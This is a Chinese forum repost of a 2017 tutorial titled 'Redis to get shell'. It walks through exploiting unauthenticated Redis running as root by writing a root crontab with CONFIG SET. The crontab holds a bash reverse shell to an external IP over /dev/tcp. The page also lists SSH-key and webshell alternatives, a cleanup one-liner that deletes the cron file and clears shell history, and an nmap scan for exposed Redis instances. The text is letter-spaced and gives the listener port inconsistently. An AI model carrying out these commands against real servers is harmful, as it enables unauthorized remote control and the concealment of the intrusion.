搜索

[20851] 2017-08-11_Redistogetshell

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2017-08-11_Redistogetshell R e d i s   t o   g e t   s h e l l L e m o n S e c   2 0 1 7 - 0 8 - 1 1 背 景 R e d i s 默 认 安 装 完 成 后 是 只 能 本 机 访 问 的 并 且 没 有 密 码 。 而 一 般 公 司 的 应 用 都 会 需 要 多 台 服 务 器 访 问 R e d i s ， 所 以 运 维 就 会 将 / e t c / r e d i s . c o n f 中 的 b i n d - i p 改 为 0 . 0 . 0 . 0 ， 导 致 外 网 可 以 匿 名 访 问 （ 不 需 要 密 码 ） 。 外 网 可 以 访 问 导 致 的 问 题 是 R e d i s 数 据 外 泄 ， 这 时 候 还 不 能 造 成 直 接 利 用 。 但 如 果 R e d i s 启 动 的 时 候 是 用 r o o t 账 户 ， 则 会 造 成 G E T   S H E L L 。 利 用 方 式 通 过 R e d i s 的 c o n f i g 命 令 ， 可 以 写 入 任 意 文 件 ， 权 限 足 够 的 情 况 下 即 可 写 入 定 时 任 务 反 弹 得 到 S H E L L #   设 置 k e y ( 0 ) 为 b a s h 反 弹 s h e l l 的 脚 本 ， 每 分 钟 执 行 一 次 ， 在 自 己 服 务 器 上 监 听 7 8 9 0 端 口 ( n c   - v v l   8 0 ) s e t   0   " n n * / 1   *   *   *   *   / b i n / b a s h   - i   > &   / d e v / t c p / 1 3 9 . 1 9 9 . 1 0 9 . 1 8 4 / 8 0   0 > & 1 n n " #   至 此 就 会 在 目 标 R e d i s 服 务 器 产 生 一 个 C r o n 文 件 / v a r / s p o o l / c r o n / r o o t ， 如 果 目 标 服 务 器 C r o n d 服 务 没 有 关 闭 的 话 ， 该 文 件 就 会 每 分 钟 反 弹 一 次 S H E L L 。 #   只 需 要 在 自 己 的 服 务 器 上 监 听 7 8 9 0 端 口 ， 即 可 控 制 目 标 服 务 器 。 #   连 上 一 台 R e d i s r e d i s - c l i   - h   y o u r _ r e d i s _ s e r v e r #   保 持 写 入 的 干 净 ， 清 除 原 有 数 据 （ 如 果 是 其 它 人 机 器 ， 不 建 议 这 么 做 ） #   f l u s h a l l #   设 置 保 存 的 位 置 c o n f i g   s e t   d i r   / v a r / s p o o l / c r o n /   #   设 置 保 存 的 文 件 名 c o n f i g   s e t   d b f i l e n a m e   r o o t #   保 存 s a v e
退 出 目 标 服 务 器 时 ， 为 了 防 止 C r o n 再 次 连 接 ， 可 以 用 如 下 命 令 退 出 多 种 利 用 姿 势 除 了 可 以 直 接 写 定 时 任 务 拿 到 S H E L L ， 还 可 以 有 多 种 姿 势 。 写 c r o n 反 弹 一 个 s h e l l                                                                                                                   （ l i n u x 系 统 下 ） 写 ~ / . s s h / a u t h o r i z e d _ k e y s ， 使 用 密 钥 直 接 登 录                                       （ l i n u x 系 统 下 ） 找 到 w e b 目 录 的 绝 对 路 径 ， 直 接 写 w e b   s h e l l 写 初 始 化 脚 本 / e t c / p r o f i l e . d / 主 从 模 式 利 用 企 业 内 部 企 业 内 部 R e d i s 匿 名 挖 掘 匿 名 挖 掘 通 过 n m a p 扫 描 内 网 网 段 的 r e d i s 匿 名 访 问 服 务 。 （ 当 然 可 以 扫 描 外 网 ） 根 据 网 上 教 程 并 在 本 地 搭 建 环 境 练 习 ， 只 作 为 学 习 思 路 分 享 ， 不 要 随 意 攻 击 哦 ~ p s   a u x   |   g r e p   7 8 9 0   |   a w k   ' {   p r i n t   $ 2   } ' | x a r g s   k i l l ; r m   - f   / v a r / s p o o l / c r o n / r o o t ; h i s t o r y   - c     & &   e x i t $   n m a p   - p 6 3 7 9   1 0 . 1 1 . 0 / 1 6   - - s c r i p t   r e d i s - i n f o
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理